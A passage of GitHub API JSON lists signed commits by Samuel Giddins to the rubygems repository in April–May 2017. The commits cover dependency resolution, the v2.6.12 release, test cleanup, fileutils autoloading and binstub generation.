resolution","tree":{"sha":"4c72a2ecc03471d7fc105693b1cea617de760804","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4c72a2ecc03471d7fc105693b1cea617de760804"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b10d0de188e8427522d1b5c131c1840d48236f19","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZG9mOAAoJEAEZW7MV3ahWmD4P/j1uu94DrWI2Aix6ao3a38/Y\nQeZF75i/Pe6f7ajM45ZaPZOxXlM9WwGAiDDJWVxBd6fSLilP/lfNr02fc6+waOxc\nzQ+/ahl7JiJQ98643PZJatSOwJpxwx6dUTK3GYD3GR9/ybbMekzdYRA/V8mRo2D1\ntQfdA67cRfRlaiCJkITezTPnlaeTCY+1JdOmN6Hdn6L5MHHxcc82n2v9PK3r5Ihq\n/6qZ3c/ZYe4HZEzyJEyOrJYfEVHyg2aKNVekIyaVcPhGi+qrD2NDU7MAvb/kUQzf\nEHZFMpA0YIaYxvKXeoIM26YbufzHITWiW7q4erRsb8JspS57MdT5Vs+zMBGHouow\nLaL2FqYZ9+cOtifaANfYgNY44UWteWiBzLy38bZ196F7QMgDYVk1FsYiDgaF3rFa\nMNoCM/rPOofTmtMHqfM3mwqtrU3RlAcJUoqSfUX3TyR6JRBq1yI2uY95e8DDQtDt\nB0zqaNqL3S4ldB3SPNiRR7J6w4Xs7aY5zoST5fr5c15M4h5TSEHciKy7P80KnDZX\nkjqKtXtRyEP+GNm6DLJmNhFgaI2zPcyb7TFjykZgbpGxDCp/iWOOjpNJRiMw5QPi\nVGZW6l85RENDgU1LzNSy+SwQI5foLRLW9AGm03b0vjYFwBXVPxKUf8W4tu9h5X8z\nfEsCAImP2qHgnN4ROspP\n=O82x\n-----END PGP SIGNATURE-----","payload":"tree 4c72a2ecc03471d7fc105693b1cea617de760804\nparent dca0a654329aa24d2c7435a3fa486769dd89b7b4\nauthor Samuel Giddins 1494997390 -0500\ncommitter Samuel Giddins 1494997390 -0500\n\n[InstallerSet] Avoid reloading _all_ local gems multiple times during dependency resolution\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b10d0de188e8427522d1b5c131c1840d48236f19","html_url":"https://github.com/rubygems/rubygems/commit/b10d0de188e8427522d1b5c131c1840d48236f19","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b10d0de188e8427522d1b5c131c1840d48236f19/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"dca0a654329aa24d2c7435a3fa486769dd89b7b4","url":"https://api.github.com/repos/rubygems/rubygems/commits/dca0a654329aa24d2c7435a3fa486769dd89b7b4","html_url":"https://github.com/rubygems/rubygems/commit/dca0a654329aa24d2c7435a3fa486769dd89b7b4"}]},{"sha":"6b3e0a0d5231d2d1881fc16d0730372baa25d58b","node_id":"MDY6Q29tbWl0NjE0MDcwOjZiM2UwYTBkNTIzMWQyZDE4ODFmYzE2ZDA3MzAzNzJiYWEyNWQ1OGI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-30T23:29:14Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-30T23:29:14Z"},"message":"Merge tag ''v2.6.12''\n\nTagging v2.6.12.","tree":{"sha":"65fadc21b5a83cdcd6e6c75c924b1dfeddcebb84","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/65fadc21b5a83cdcd6e6c75c924b1dfeddcebb84"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6b3e0a0d5231d2d1881fc16d0730372baa25d58b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZBnNLAAoJEAEZW7MV3ahWiw8P/3DxsUiX0KCQJxseKuRrLrMk\n8AFuakM2NI7fXSZ12ZjqNrz0Lw6udsF8x0PEd+vbUFr2vU2jY9x/rFaaa/vPTMb9\nLqWivUQiJgw6ICsBw4dh4nZvSBbqCU3Akc6RsP/iYtGaQXRHb/ZPXIIXSyrjqMR+\n6UYSPOC4JPe6nSG8+eIZKUFY8RGYPZLl0MZxBkin6hvu0NyjeeUPZVsFX/o2dY8d\n6dhQbrnFgpogg4NTWp5fti3i8C8rtUQtx9Tpw34bYMhmdv9ODygMmTUdO13SZfQ5\npjPTUK3TraPbyfHEDghnsFHVVOhn6ke8FeZhej5Z2DLGSyyI4LSjmdz5VumZFhig\nh0BSWgn3bdoT0VzK/68MFXvG8YAhsc0b4vQmbMOU8Toml14shVGZe9eAhtSaqB6/\n7wH+X6HYtPcdroIAbgY7ZVrt1fy6tUNH7sVF8QhNESv49PmkxkWgzcaffTQF1KRo\nJUUAAYIevxVTJxCeD7gVbCPTEfet7yQHAxFocBtWEly9hn1QAXoJV0zqLShaIPob\nlYLnJwsa6VAyBZz2PZMMEj6WXv2igkd3y9j416zhapcdrJR5rdZVjv8klaa5BgY+\nVXmQEZ/tWsC3wYP592rPOvV42vEEJtpGtSpYlGXN4uVVDUTuQ+O3USN6cshLcYS0\nMwJKksZFOrk7QaKGf1pg\n=jjUv\n-----END PGP SIGNATURE-----","payload":"tree 65fadc21b5a83cdcd6e6c75c924b1dfeddcebb84\nparent fd24f01180fbde3716fd1a4225f661bdbb44937d\nparent 009080040279282d7b8ddd09acab41719cb4ba00\nauthor Samuel Giddins 1493594954 -0500\ncommitter Samuel Giddins 1493594954 -0500\n\nMerge tag ''v2.6.12''\n\nTagging v2.6.12.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6b3e0a0d5231d2d1881fc16d0730372baa25d58b","html_url":"https://github.com/rubygems/rubygems/commit/6b3e0a0d5231d2d1881fc16d0730372baa25d58b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6b3e0a0d5231d2d1881fc16d0730372baa25d58b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fd24f01180fbde3716fd1a4225f661bdbb44937d","url":"https://api.github.com/repos/rubygems/rubygems/commits/fd24f01180fbde3716fd1a4225f661bdbb44937d","html_url":"https://github.com/rubygems/rubygems/commit/fd24f01180fbde3716fd1a4225f661bdbb44937d"},{"sha":"009080040279282d7b8ddd09acab41719cb4ba00","url":"https://api.github.com/repos/rubygems/rubygems/commits/009080040279282d7b8ddd09acab41719cb4ba00","html_url":"https://github.com/rubygems/rubygems/commit/009080040279282d7b8ddd09acab41719cb4ba00"}]},{"sha":"009080040279282d7b8ddd09acab41719cb4ba00","node_id":"MDY6Q29tbWl0NjE0MDcwOjAwOTA4MDA0MDI3OTI4MmQ3YjhkZGQwOWFjYWI0MTcxOWNiNGJhMDA=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-30T23:27:12Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-30T23:27:12Z"},"message":"Version 2.6.12 with changelog","tree":{"sha":"56ad82737384dc2faac40783193a0d00a8abedc3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/56ad82737384dc2faac40783193a0d00a8abedc3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/009080040279282d7b8ddd09acab41719cb4ba00","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZBnLQAAoJEAEZW7MV3ahWuOcP/2xqn5LxowX7ajwYtQq+cvT/\nfuUKH4UFfF2cd6KwWwl98vaNBddFHL9KHJ89S0XPPkwG+1BVDFdpJcjmaeLS0Vgd\n0DdiL25q0Iw3Bq6pVrkPFNasKBS8N9tIx8tRu5x/osUDi8ZKdfohAPbuz7rPFRvv\nNqjSnRs+TtRljcO8G9NySjXG7zwwd/ZRc41xLw2jkT61/HODhQSOPpYG+zf6nyRn\nQSS9WpU+YiC5anRDQm+7mX6JUK/DKxOd/OgnedzYUAGVY/8lCUsgmrbZruY+64HW\nOrI0udfyzftCUJHAxDNAkjCuRb3twJ+BOsdGxkfxAzV+y9cdBP6z+H61q5ri2OgI\na+cFMdkMR66EBxWseOPEmZrRG/pHAst/SZFaaNuyZRxXUKoduPHk1Yr9slpbgZKq\nKLQBadXbQBD4PfKYRANHmYuOpXkmPnteU32QOjd1EPYLE3X9acoo+csJUa5Rdch6\nhzc8lFC/lQCFhn60lY332LdsKr5CtepcYisu45WWEkYatF65K1G1t1J9vZFIuaCJ\nXbFfTRjXqgl5lX48PZl7ZIkSBZjsZ9OvnAqapJnGVk0VC6JRxUHX6oCYQZRr+Pck\nhj5q3MTIej676mS1HUkY/9oAsvx0UKWNNSvJns7pLxMTwgyaP/CABfjfoZ925LJR\ntsPhKGa7sonLSfdS7/rl\n=AqVZ\n-----END PGP SIGNATURE-----","payload":"tree 56ad82737384dc2faac40783193a0d00a8abedc3\nparent 335f90b5b66c12236c701418259789c11bbcc1bb\nauthor Samuel Giddins 1493594832 -0500\ncommitter Samuel Giddins 1493594832 -0500\n\nVersion 2.6.12 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/009080040279282d7b8ddd09acab41719cb4ba00","html_url":"https://github.com/rubygems/rubygems/commit/009080040279282d7b8ddd09acab41719cb4ba00","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/009080040279282d7b8ddd09acab41719cb4ba00/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"335f90b5b66c12236c701418259789c11bbcc1bb","url":"https://api.github.com/repos/rubygems/rubygems/commits/335f90b5b66c12236c701418259789c11bbcc1bb","html_url":"https://github.com/rubygems/rubygems/commit/335f90b5b66c12236c701418259789c11bbcc1bb"}]},{"sha":"621db320790f07fab4033fbdfb88fd16a5bcf6dc","node_id":"MDY6Q29tbWl0NjE0MDcwOjYyMWRiMzIwNzkwZjA3ZmFiNDAzM2ZiZGZiODhmZDE2YTViY2Y2ZGM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-28T08:56:32Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-28T08:56:32Z"},"message":"[TestCase] Clear loaded_specs after requiring test_case","tree":{"sha":"2eefe6449d734467eebfe2ed9088406f4584812f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2eefe6449d734467eebfe2ed9088406f4584812f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/621db320790f07fab4033fbdfb88fd16a5bcf6dc","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZAwPAAAoJEAEZW7MV3ahW08wP/2oisQ3kzuSxzuUHKZ0ugtqY\n4jqpXtn5meh4DOaaw2AsmCtSGbxhmxkW8tE/LZdlgXWiDUvkY6PjdxNl5f98nua+\nuN1DKKQ7QDFTlu/zXB4DNR9cG+/k8pXZ1NwHEWIJYDpXMxPfeFnGYWsXBl24KEnv\njsj0TWlpK56VaHEaKqksFbQ2wCKXn1Qwd7k+prPWlPuaHlkkHm6ef0JSCPMpmF8L\n5JBEJatQaQBmeVpQ8co5jNVbDRB2MKkCCzJTB+rWVQhmhIu1R9Hllbi4NtDpstD4\n9WMuwuqqCz4uBFpy5JZscnW/iH1ERtllbH+hlscQQu8DtqCmrIh4zG0KauhzwDLK\n5lewr27ERnoHeW0fGUL43QEbFFAb/K7/jcF+Yx12247SgJzVCMMQv/yW/w+w9P9F\ntlTtx/W02QV/WBTrzbIM6UEogncALa8+nNemmBT8eRI9iY/XpUNdTV/CLaWsiO8E\n4YbXxmnOlcSDEqx+9EPLmvfhmnpY7SmtWpbisUvHZHccVoVfzUfg5ZVccf7bAIJd\nWOCBom1yOCAnVQR1rUvqMHnptk/P85Zs5F3G9JHpY0/qB3Dy5vAfV74WK5SVuUBQ\nCdNZ2g42v4DRMy++KhE+wEPlK2eroy9GLMrz1HRSZleDjOXTOjnTef1hc0LMwnvD\n1npJhc0BsuaCSbpd4cUH\n=0set\n-----END PGP SIGNATURE-----","payload":"tree 2eefe6449d734467eebfe2ed9088406f4584812f\nparent e015540b46d3b614b6ad5a5363b2f1395d01bf74\nauthor Samuel Giddins 1493369792 +0200\ncommitter Samuel Giddins 1493369792 +0200\n\n[TestCase] Clear loaded_specs after requiring test_case\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/621db320790f07fab4033fbdfb88fd16a5bcf6dc","html_url":"https://github.com/rubygems/rubygems/commit/621db320790f07fab4033fbdfb88fd16a5bcf6dc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/621db320790f07fab4033fbdfb88fd16a5bcf6dc/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e015540b46d3b614b6ad5a5363b2f1395d01bf74","url":"https://api.github.com/repos/rubygems/rubygems/commits/e015540b46d3b614b6ad5a5363b2f1395d01bf74","html_url":"https://github.com/rubygems/rubygems/commit/e015540b46d3b614b6ad5a5363b2f1395d01bf74"}]},{"sha":"e015540b46d3b614b6ad5a5363b2f1395d01bf74","node_id":"MDY6Q29tbWl0NjE0MDcwOmUwMTU1NDBiNDZkM2I2MTRiNmFkNWE1MzYzYjJmMTM5NWQwMWJmNzQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-28T08:24:43Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-28T08:24:43Z"},"message":"Allow Gem.finish_resolve to respect already-activated specs","tree":{"sha":"59f606d3ea1a8a2cdee9786d2a0be3f21059a699","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/59f606d3ea1a8a2cdee9786d2a0be3f21059a699"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e015540b46d3b614b6ad5a5363b2f1395d01bf74","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZAvxLAAoJEAEZW7MV3ahWsIEP/3ObTbk6igUdxvFHImoijmAO\nLvNyrCnaYcLP1HGGKey6/V5RsqA5aPw5D/5xpzKohz5xnxzEOt7qluXwJ4bu3JCb\nCNfDSxNckTzVept0hrO0ukh5iGFpwV0K+WS94ASnk5zLGbietdxSmNwSKKWwABen\n175IMSRRbM6ZujYqVU8dLwI+DnbszkOtWpRfrDlB2G+L1/D2wPYZBT3j0ElCdzyy\nvPdrWOL0Q/726J9iA+TEodOLkFb35OLlSOEcIho81B9grn0uBvhN4SUT6nOUaycn\nxp+rlu83WRp7JT1BC9hW1ttx8hlq/8V61QmKIYUjR6Emmbkqzm8HSBQuf+e/hEjW\nDQgfgrxSNTa/lonGuwlp/uPEomsPoEtlflRqQj/E+UdAkZBHX84lDxRQ3TjhhKIJ\n9owHMkATTV5zQVwoMfF5ROArNa4XfAX+qJqN12fpUj2q/ZgiLrky2U+DruRMZIpY\nWDgIcK+iqC99WNUI15zX88kNm8IlGtpBytULGz0UmYhf5C1MMYW2tWNzIhHMO3WP\nV0RISXZB8WydNqAKL0VK/Bue++70coZhHdDfeab41L493g43ryKhS11eqHu0RW9W\nS9Et0jnZ8Ra4na3NY+1cQjsfiCzEziJJP88aV0FUMl+ehaBw49Oi5MCUJxv5sm4f\n/8LII7lZ/l715mDQNgvI\n=lJ2F\n-----END PGP SIGNATURE-----","payload":"tree 59f606d3ea1a8a2cdee9786d2a0be3f21059a699\nparent 20bece51648db80c74ad9129e6be03f8875a4d6d\nauthor Samuel Giddins 1493367883 +0200\ncommitter Samuel Giddins 1493367883 +0200\n\nAllow Gem.finish_resolve to respect already-activated specs\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e015540b46d3b614b6ad5a5363b2f1395d01bf74","html_url":"https://github.com/rubygems/rubygems/commit/e015540b46d3b614b6ad5a5363b2f1395d01bf74","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e015540b46d3b614b6ad5a5363b2f1395d01bf74/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"20bece51648db80c74ad9129e6be03f8875a4d6d","url":"https://api.github.com/repos/rubygems/rubygems/commits/20bece51648db80c74ad9129e6be03f8875a4d6d","html_url":"https://github.com/rubygems/rubygems/commit/20bece51648db80c74ad9129e6be03f8875a4d6d"}]},{"sha":"535d4056a6024a5d84574c63da0f5ca82fb0fcc7","node_id":"MDY6Q29tbWl0NjE0MDcwOjUzNWQ0MDU2YTYwMjRhNWQ4NDU3NGM2M2RhMGY1Y2E4MmZiMGZjYzc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-25T15:03:21Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-25T15:03:21Z"},"message":"[Source] Autoload fileutils\n\nSince fileutils is now a gem","tree":{"sha":"3f85499f8c89c62d5db1dffc36407fbd50a5b6fb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3f85499f8c89c62d5db1dffc36407fbd50a5b6fb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/535d4056a6024a5d84574c63da0f5ca82fb0fcc7","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJY/2U5AAoJEAEZW7MV3ahWFE0P/1y0PTMB3AbdgpVtNENGh6zq\nwvBSsyT1RHRKKcQDHxnIb/HvfrDemSShRNQ/3gXb44wYt/L3cvLXnySjvF3k2hoW\nap2ACc4hCqcN2yQwiHAHYBdSfC0XJpFe5Esj0yOUgsjFlZDVvi4PaUM4kpyKLU1C\nwl4vncC8u2bhf6C86+ykzePELdfwiqIsP9RSrb50elb84M8cy1lPy716gHHK6TRV\nh0EGKXxgTaZBpUH9nu/RRoLVifmC/RJIRWbDfqoUskRatTxbSRBgqv7pngS3e1dr\nMa9/1cTwKdqv5RBS8jjd+g2HJ9N5qCDg4x9nJEL31krIgrKGtrw6iHhFQu4rPdel\n2yA3ftWPO/4f520wNPtI+bkNSHIEQ6xCKweIFl/nyxqooyVD5KndSUOrFPNf0Ynj\nt7gZD5lnx4Rw66dQfmihRpOkQaK3LlnUJBDoa9jbMZ/pqYH2IjMsgnl8XewBBY8H\nQxekcNndhlyFDhuN5nkawycuOp38MDJJeHgChqNICLYogYwiui8PZpijJIhBDQQA\nLvoZuYZoU4RR42cF2aoV/l7wzEZU1rh62u+tQDoy5tVntAAaBF9G9alLbfAZDwz7\ni9b+pfLIYwKYXfcszqe6YHkNPxb8U4UgY9ewcUtA7q+K4no3axTUOOihGkN2P+7F\nPEl/pNpTD2acac32/72N\n=1Qmy\n-----END PGP SIGNATURE-----","payload":"tree 3f85499f8c89c62d5db1dffc36407fbd50a5b6fb\nparent 20bece51648db80c74ad9129e6be03f8875a4d6d\nauthor Samuel Giddins 1493132601 +0200\ncommitter Samuel Giddins 1493132601 +0200\n\n[Source] Autoload fileutils\n\nSince fileutils is now a gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/535d4056a6024a5d84574c63da0f5ca82fb0fcc7","html_url":"https://github.com/rubygems/rubygems/commit/535d4056a6024a5d84574c63da0f5ca82fb0fcc7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/535d4056a6024a5d84574c63da0f5ca82fb0fcc7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"20bece51648db80c74ad9129e6be03f8875a4d6d","url":"https://api.github.com/repos/rubygems/rubygems/commits/20bece51648db80c74ad9129e6be03f8875a4d6d","html_url":"https://github.com/rubygems/rubygems/commit/20bece51648db80c74ad9129e6be03f8875a4d6d"}]},{"sha":"fd5305f81907238c94e620682d826f6e0d94f55f","node_id":"MDY6Q29tbWl0NjE0MDcwOmZkNTMwNWY4MTkwNzIzOGM5NGU2MjA2ODJkODI2ZjZlMGQ5NGY1NWY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-23T08:46:01Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-23T08:49:17Z"},"message":"[Installer] Generate backwards-compatible binstubs","tree":{"sha":"3b8f964277e7b5e8df79db782dc0f8b61018eb7c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3b8f964277e7b5e8df79db782dc0f8b61018eb7c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fd5305f81907238c94e620682d826f6e0d94f55f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG 